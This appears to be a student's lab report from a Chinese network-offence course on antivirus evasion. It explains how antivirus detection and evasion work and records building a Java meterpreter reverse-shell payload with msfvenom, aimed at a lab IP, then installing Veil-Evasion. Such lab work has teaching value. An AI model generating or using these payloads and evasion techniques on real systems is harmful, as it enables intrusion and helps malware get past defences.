2017-2018-4 20155203《网络对抗技术》Exp3 免杀原理与实践

1.基础问题回答

（1）杀软是如何检测出恶意代码的？
分析恶意程序的行为特征，分析其代码流将其性质归类于恶意代码

（2）免杀是做什么？
使恶意代码避免被查杀，也就是要掩盖恶意代码的特征

（3）免杀的基本方法有哪些？
免杀大概可以分为两种情况：

二进制的免杀（无源码），只能通过通过修改asm代码／二进制数据／其他数据来完成免杀。
有源码的免杀，可以通过修改源代码来完成免杀，也可以结合二进制免杀的技术。

免杀也可以分为这两种情况：

静态文件免杀，被杀毒软件病毒库/云查杀了，也就是文件特征码在病毒库了。
动态行为免杀，运行中执行的某些行为被杀毒软件拦截报读。

2.实践过程记录

2.1 正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧；

- 首先先把上次的后门放在virscan.org上检测一下。

- 生成jar

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.230.144 lport=5203 x> dkxshell.jar

- 下载veil-evasion:

很多人这里可能会出问题，这里推荐一个源：kali国内更新源。更换你的源，并按照这个更新源教程操作更新你的源，然后按照veil安装教程按照veil使用教程找一个网快且稳定的地方做，中间出现什么错误先不要管，只要运行的时候能看到“2 tools ...”"41 payload..."就可以用啦(这句话里很多链接因为模板问题，没有标注，在全文最后有总结).可能大家在安装后再次打开的时候会发现，还需要下载，这个时候输入n（NO）如果报错，就打开/tools/Veil/，运行Veil.py，应该就成功啦。